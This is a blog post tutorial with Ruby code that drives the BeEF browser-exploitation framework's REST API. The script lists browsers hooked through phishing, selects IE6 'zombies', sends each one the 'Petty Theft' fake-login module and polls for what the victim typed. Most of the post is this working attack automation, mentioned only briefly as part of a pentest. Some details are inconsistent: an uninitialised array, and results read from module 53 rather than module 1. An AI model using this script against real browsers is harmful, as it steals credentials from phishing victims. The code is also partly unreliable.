Saturday, March 31, 2012

RESTful API Demo

We promised you some goodies related to the RESTful API, and we're here to deliver! In this post, you'll see some practical ruby script to manipulate hooked assets. This should cover most of the basics of the API, but keep an eye out for some more advanced demos including Metasploit in the future.





Let's assume for a moment, you've already got your phish on the line. (There are so many ways to get them hooked, it didn't seem like we needed to talk about that in this article. But we'll definitely cover it. Wait and see!) We want to see how successful our phishing expedition has been, pull information about our zombies, and then play with them a bit to see what else we can get.



So, we wrote this script in Ruby, and we ran it from the same system on which we ran BeEF. You can run it from a different system if you like. Don't forget to use the right address if you modify this. We used these:
 
require 'json'
require 'pp'
require 'rest-client'

We set up our script to prompt for the API key at runtime rather than hard coding it. This gives us some flexibility. Then we use /api/hooks to retrieve our hooked clients:

print "Enter your API key: "
$key = STDIN.gets.rstrip

res = RestClient.get "http://127.0.0.1:3000/api/hooks/?token=#{$key}"
pp JSON.parse(res.body)

If you've read the RESTful API wiki entry for BeEF, the output should look familiar. But what can we do? Let's ask BeEF! Using the /api/modules interface, we can get a list.

  modres = RestClient.get "http://127.0.0.1:3000/api/modules/?token=#{$key}"
  pp JSON.parse(modres.body)

We're going to use module ID 1 (Petty Theft) for this demo. Let's find out what it requires:

  modres = RestClient.get "http://127.0.0.1:3000/api/modules/?token=#{$key}"

  pp JSON.parse(modres.body)

By this point, you've noticed all of our responses are JSON objects, and we're doing a little bit to make it pretty.

It looks like we're going to need the session ID. We'll also need the client ID. Take my word for it. So, let's use the information from the original /api/hooks response to pull the zombies that are running Win32 and stuff them into an array.


JSON.parse(res.body)["hooked-browsers"]["online"].each  do | x |
    if (x[1]["name"] == "IE" and x[1]["version"] == "6") 
      target << {:session => x[1]["session"] , :id => x[0] }
    end
  end

And let's call Petty Theft:

  target.each do | x |
    res = RestClient.post "http://127.0.0.1:3000/api/modules/#{x[:session]}/1?token=#{$key}" , {"imagesauce" => "http://fooserver.com/lulz.jpg"}.to_json, :content_type => :json , :accept => :json
    pp JSON.parse(res.body)
  end 

Our end statement is later. We're still in loop. So, we know it ran, and we have a status. We still want to know what our victim typed. We'll need the command ID from the response to retrieve our results.

   cmdid = JSON.parse(res.body)["command_id"]

  timeout = 35
    while timeout > 0 do
      begin
        sleep 2 
        puts "Let's get our results.\n\n"
          res = RestClient.get "http://127.0.0.1:3000/api/modules/#{x[:session]}/53/#{cmdid}?token=#{$key}"
          pp JSON.parse(res.body)
          break
      # if there's no response, we should still catch it!
      rescue RestClient::ResourceNotFound 
          print "No results yet.\n"
          timeout -= 1
      end
    end

We put a test in, because we want it to die gracefully in the event that our victim has not responded to our tantalizing task. Otherwise, we'll see data that should get us a step further in our pentest!

No comments:

Post a Comment